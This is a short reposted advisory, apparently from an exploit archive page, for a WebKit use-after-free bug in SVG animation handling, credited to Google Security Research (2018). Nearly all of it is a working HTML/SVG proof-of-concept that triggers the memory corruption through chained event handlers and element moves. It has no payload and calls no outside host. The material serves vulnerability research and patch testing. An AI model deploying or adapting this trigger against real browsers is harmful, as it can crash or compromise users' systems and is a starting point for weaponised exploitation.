WebKit - 'WebCore::SVGAnimateElementBase::resetAnimatedType' Use-After-Free

		当前位置：主页>安全文章>文章资料>Exploits>文章内容

WebKit - 'WebCore::SVGAnimateElementBase::resetAnimatedType' Use-After-Free

来源：Google Security Research 作者：Google 发布时间：2018-09-26

<script>
function eventhandler2() {
try { var var00138 = svgvar00013.parentNode; } catch(e) { }
try { htmlvar00006.setAttribute("onfocusin", "eventhandler2()"); } catch(e) { }
try { svgvar00001.after(var00138); } catch(e) { }
}
function eventhandler5() {
try { htmlvar00028.autofocus = true; } catch(e) { }
try { htmlvar00034.appendChild(htmlvar00006); } catch(e) { }
}
</script>
<h5 id="htmlvar00006">
<keygen id="htmlvar00028">
</h5>
<a id="htmlvar00034">
<svg id="svgvar00001">
<g onload="eventhandler2()"></g>
<animate attributeName="fill" />
<polygon id="svgvar00013" />
<br>
<details ontoggle="eventhandler5()" open="true"></details>

[